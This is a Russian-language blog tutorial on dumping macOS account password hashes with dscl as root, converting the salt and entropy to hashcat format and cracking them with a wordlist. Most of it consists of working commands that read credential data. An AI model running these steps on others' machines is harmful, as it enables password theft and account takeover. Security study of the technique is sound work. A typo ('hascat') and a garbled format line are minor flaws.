January 27, 2023

Захват и взлом хешей MacOs

На кратком примере хочу показать как злоумышленник может получить хэши с компьютера MacOs, преобразовать их в формат удобный для hashcat для последующего подбора по словарю.

Локальная служба каталогов

Хэши учетный записей MacOS хранятся в локальной службе каталогов. В новых версиях SIP (защита целостности системы) не позволяет root получить прямой доступ к файлам.

Для обхода этой защиты используется dscl Directory Service command line utility (Утилита командной строки службы каталогов). В качестве root пользователя можно прочитать информацию других учетных записей.

sudo dscl . -read /Users/vv

Пример вывода в консоль

Получение хешей

Чтобы получить только хэш, можно выполнить команду:

sudo dscl . -read /Users/vv dsAttrTypeNative:ShadowHashData

Но это мало что даст, поэтому необходимо преобразовать голые данные в нормальный вид специальной командой:

sudo dscl . -read /Users/vv dsAttrTypeNative:ShadowHashData | tail -n 1 | tr -dc '0-9a-f' | xxd -p -r | plutil -convert xml1 - -o -

Вывод команды в консоли

Теперь следующая цель это преобразование данных в шестнадцатеричное представление.

Для salt это делает просто:

echo tjgLeEszPoypyM/YVQfV2QGoY3R45itDmPS0SEbWuuE= | base64 -D | xxd -p | tr -d \\n > salt.txt

Для entropy нужно сделать практически тоже самое, но после декодирования base64, нужны будут только первые 64 байта или 512 бит.

echo "lKbKQTnIToq9HehWtapdqfvWn+UPSuIozxRJdH/E/88O6qkQEMc1bLCDEUf/O8LiuLVzAoM1rJAiXEbKdgU2+GhFNvWmO3kyCSjJwUkDi9pbp04Cky5KHxrM3+uLHYFwXSq5tpxsUbTptQ4VCpOzifwf9XKq8yKvR+mDG7WoFXs=" | base64 -d | head -c 64 | xxd -p | tr -d \\n > entropy.txt

Использование Hashcat для подбора пароля

Для удобства можно создать текстовый файл hashcat, для этого нужно объединить найденные хэш данные в одну строку.

$mllt;iterations(integer)>lt;salt(hex)>lt;entropy(hex)>

В нашем примере это:

$ml$147058$b6380b784b333e8ca9c8cfd85507d5d901a8637478e62b4398f4b44846d6bae1$94a6ca4139c84e8abd1de856b5aa5da9fbd69fe50f4ae228cf1449747fc4ffcf0eeaa91010c7356cb0831147ff3bc2e2b8b573028335ac90225c46ca760536f8

Сохраните эту строку в файл с именем hash.txt и используйте его в hashcat. Теперь можно пройтись по хэшу словарем:

hascat -m 7100 hash.txt wordlist.txt

Вывод команды

Пароль успешно подобран! Результатом будет подобранный пароль pass123.

Полезные ссылки

Полезные репозитории:

https://github.com/octomagon/davegrohl

При подготовки этой статьи использовались следующие ресурсы:

https://embracethered.com/blog/posts/2022/grabbing-and-cracking-macos-hashes/

https://apple.stackexchange.com/questions/220729/what-type-of-hash-are-a-macs-password-stored-in/220863

https://gist.github.com/teddziuba/3ff08bdda120d1f7822f3baf52e606c2